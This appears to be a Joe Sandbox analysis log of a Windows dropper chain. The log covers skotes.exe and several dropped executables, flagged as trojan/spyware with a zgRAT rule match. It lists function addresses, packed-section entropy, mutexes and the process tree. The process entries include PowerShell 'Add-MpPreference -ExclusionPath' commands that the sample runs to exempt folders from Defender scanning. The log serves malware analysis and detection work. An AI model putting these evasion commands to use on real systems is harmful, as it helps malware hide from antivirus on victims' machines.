Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00937F36	1_2_00937F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0090E530	5_2_0090E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00926192	5_2_00926192
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00948860	5_2_00948860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00904B30	5_2_00904B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00904DE0	5_2_00904DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00942D10	5_2_00942D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00920E13	5_2_00920E13
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00947049	5_2_00947049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009431A8	5_2_009431A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00921602	5_2_00921602
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0094779B	5_2_0094779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_009478BB	5_2_009478BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00923DF1	5_2_00923DF1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_00937F36	5_2_00937F36
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_02530F58	6_2_02530F58
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_02530F42	6_2_02530F42
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_02531398	6_2_02531398
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_02531388	6_2_02531388
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_04E644B8	6_2_04E644B8
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_04E60040	6_2_04E60040
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_04E644A8	6_2_04E644A8
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_04E6A868	6_2_04E6A868
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 6_2_04E6A858	6_2_04E6A858
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00408850	10_2_00408850
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00423860	10_2_00423860
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004218A0	10_2_004218A0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0042DA53	10_2_0042DA53
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043ECA0	10_2_0043ECA0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00437DF0	10_2_00437DF0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004096C1	10_2_004096C1
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004266D0	10_2_004266D0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043F720	10_2_0043F720
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00415799	10_2_00415799
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00438810	10_2_00438810
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041682D	10_2_0041682D
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004288CB	10_2_004288CB
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043D880	10_2_0043D880
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00430940	10_2_00430940
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00403970	10_2_00403970
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00420939	10_2_00420939
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004179C1	10_2_004179C1
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004231C2	10_2_004231C2
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004241C0	10_2_004241C0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043B1D0	10_2_0043B1D0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004291DD	10_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043D980	10_2_0043D980
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00405990	10_2_00405990
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00422190	10_2_00422190
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043D997	10_2_0043D997
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043D999	10_2_0043D999
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004091B0	10_2_004091B0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00416263	10_2_00416263
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0040EA10	10_2_0040EA10
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00415220	10_2_00415220
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004252DD	10_2_004252DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041B2E0	10_2_0041B2E0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00406280	10_2_00406280
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043DA80	10_2_0043DA80
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041E290	10_2_0041E290
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041CB40	10_2_0041CB40
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043D34D	10_2_0043D34D
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00426B50	10_2_00426B50
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043DB60	10_2_0043DB60
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00436B08	10_2_00436B08
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0042830D	10_2_0042830D
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00404320	10_2_00404320
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00425327	10_2_00425327
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00408330	10_2_00408330
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043F330	10_2_0043F330
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0042A33F	10_2_0042A33F
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0040DBD9	10_2_0040DBD9
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00424380	10_2_00424380
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041FC75	10_2_0041FC75
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041DC00	10_2_0041DC00
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00429C2B	10_2_00429C2B
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004291DD	10_2_004291DD
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004074F0	10_2_004074F0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0040ACF0	10_2_0040ACF0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041148F	10_2_0041148F
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0042AC90	10_2_0042AC90
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0040CD46	10_2_0040CD46
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00437500	10_2_00437500
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00422510	10_2_00422510
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00417DEE	10_2_00417DEE
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00409580	10_2_00409580
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041759F	10_2_0041759F
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00425E70	10_2_00425E70
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00436E74	10_2_00436E74
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00427603	10_2_00427603
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00425E30	10_2_00425E30
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004286C0	10_2_004286C0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043AEC0	10_2_0043AEC0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004236E2	10_2_004236E2
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00405EE0	10_2_00405EE0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041DE80	10_2_0041DE80
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00402F50	10_2_00402F50
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00420F50	10_2_00420F50
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00438F59	10_2_00438F59
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00406710	10_2_00406710
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00423F20	10_2_00423F20
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00419F30	10_2_00419F30
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0041E7C0	10_2_0041E7C0
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_004197C2	10_2_004197C2
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0042DFE9	10_2_0042DFE9
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0040A780	10_2_0040A780
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00411F90	10_2_00411F90
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_00418792	10_2_00418792
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: 10_2_0043EFB0	10_2_0043EFB0
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEB42F	12_3_00EEB42F
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEB42F	12_3_00EEB42F
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEB42F	12_3_00EEB42F
Source: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe	Code function: 12_3_00EEB42F	12_3_00EEB42F

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe 12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: String function: 00408030 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Code function: String function: 00414400 appears 65 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00A580C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 009180C0 appears 263 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0091DF80 appears 63 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00938E10 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0091D942 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0091D663 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 0091D64E appears 66 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00917A00 appears 38 times

Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 676

Source: 85e92d03ea.exe.5.dr	Static PE information: No import functions for PE file found
Source: random[2].exe.5.dr	Static PE information: No import functions for PE file found

Source: 85e92d03ea.exe.5.dr	Static PE information: Data appended to the last section found
Source: random[2].exe.5.dr	Static PE information: Data appended to the last section found

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 6.2.44098beb09.exe.3723198.2.raw.unpack, type: UNPACKEDPE

Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: e90a98cf1a.exe.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: random[2].exe2.5.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983023245912807
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983023245912807
Source: random[1].exe0.5.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: random[1].exe0.5.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: 7349a3c308.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9974582619863014
Source: 7349a3c308.exe.5.dr	Static PE information: Section: xnuzvlhe ZLIB complexity 0.994702490860937
Source: random[1].exe1.5.dr	Static PE information: Section: ZLIB complexity 0.9963964483394834
Source: random[1].exe1.5.dr	Static PE information: Section: ptoytgwv ZLIB complexity 0.9928369924895896
Source: 63ebe314bb.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9963964483394834
Source: 63ebe314bb.exe.5.dr	Static PE information: Section: ptoytgwv ZLIB complexity 0.9928369924895896
Source: random[2].exe0.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe0.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 2f3190c49d.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 2f3190c49d.exe.5.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[2].exe1.5.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[2].exe1.5.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: 26539a5c18.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: 26539a5c18.exe.5.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777

Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: skotes.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: d3ba7fdf70.exe.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: d3ba7fdf70.exe.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: random[1].exe2.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: random[1].exe2.5.dr, Program.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: 63ebe314bb.exe, 0000000D.00000003.2628711017.0000000000359000.00000040.00000001.01000000.0000000E.sdmp, 63ebe314bb.exe, 0000000D.00000003.2616665243.0000000004B68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 63ebe314bb.exe, 0000000D.00000003.2628711017.0000000000359000.00000040.00000001.01000000.0000000E.sdmp, 63ebe314bb.exe, 0000000D.00000003.2616665243.0000000004B68000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4259/32@4/6

Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe

Code function: 10_2_00437DF0 CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

10_2_00437DF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3128:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7349a3c308.exe, 0000000C.00000003.2598241770.00000000055C8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 59%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Source: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe	Process created: C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe "C:\Users\user\AppData\Local\Temp\1018345001\44098beb09.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe "C:\Users\user\AppData\Local\Temp\1018346001\7349a3c308.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe "C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe"
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1018347001\63ebe314bb.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1196 -s 676
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe "C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe"
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\iscwgalo"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
Source: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe	Process created: C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe "C:\Users\user\AppData\Local\Temp\1018349001\2f3190c49d.exe"
